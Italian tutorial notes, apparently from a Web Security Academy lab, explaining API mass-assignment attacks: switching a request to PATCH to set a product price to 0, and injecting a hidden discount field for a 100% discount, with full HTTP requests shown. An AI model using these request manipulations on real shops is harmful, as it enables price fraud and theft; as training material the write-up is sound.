tags: API API_Mass_Assignment API_Vulnerabilty API_OWASP_TOP_10
Si verifica quando un’applicazione prende l’input dell’utente e lo associa direttamente a oggetti interni del database senza filtrare quali proprietà l’utente può effettivamente modificare.
Per esempio se ci fosse un e-commerce con una lista di prodotti a determintati prezzi e fosse vulenerabile a questo tipo di attacco si potrebbe modificare il prezzo dei prodotti tramite una manipolazione delle richieste HTTP e del prezzo in formato JSON.
Ecco un esempio:
Per prima cosa bisogna trovare l’endpoit API che gestiste i prezzi dei prodotti, in questo esempio è la seguente con endpoit /api/products/1/price, in genere sono /api/products/... , /v1/... o simili.
Ecco la richiesta all’endpoit /api/products/1/price:
GET /api/products/1/price HTTP/2
Host: 0ab8002b0404e3e58043c1f200bc0080.web-security-academy.net
Cookie: session=cXK6391GHkTKEcWJ3KDOzuQU2AqsHP5A
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ab8002b0404e3e58043c1f200bc0080.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Ora la proviamo a modificare cambiando il metodo da GET a per esempio PATCH e osserva come si comporta.
Se ricevi un errore dopo aver cambiato il metodo in PATCH, non fermarti. Gli sviluppatori spesso lasciano messaggi di errore informativi.
-
Se invii
PATCH /api/products/1senza corpo, l’API potrebbe rispondere:"Content-Type 'application/x-www-form-urlencoded' not supported"o"Missing parameter: price". -
Cambia il
Content-Typeinapplication/json. -
Aggiungi un corpo JSON vuoto
{}e osserva l’errore. L’API ti dirà quali campi si aspetta.
Seguendo gli errori, dovresti arrivare a costruire una richiesta simile a questa:
PATCH /api/products/1/price HTTP/2
Host: 0ab8002b0404e3e58043c1f200bc0080.web-security-academy.net
Content-Type: application/json
{
"price": 0
}Se l’API è vulnerabile, riceverai un 200 OK e il prezzo del prodotto nel database verrà aggiornato a 0 (o a un valore molto basso).
Una volta fatto ti basterà aquistare il prodotto al prezzo da noi fissato.
Vedere Parametri in altre richieste
Può succdere che testando una richiesta POST non ci appaia nulla di interessante, in questi casi è bene guardare anche le eventuali richieste GET collegate a quella richiesta perchè alle volte le risposte di quelle richieste contengono informazioni aggiuntive che possiamo provare ad inserire nella nostra richiesta POST nella speranza che venga processata.
Per esempio questa richiesta GET:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 153
{
"chosen_discount":{
"percentage":0
},
"chosen_products":[
{
"product_id":"1",
"name":"Lightweight \"l33t\" Leather Jacket",
"quantity":1,
"item_price":133700
}
]
}é presente questa sezione:
"chosen_discount":{
"percentage":0
},Che non era presente nella richiesta POST, ma aggiungendola possiamo ottenere uno sconto del 100% cambiandone il valore.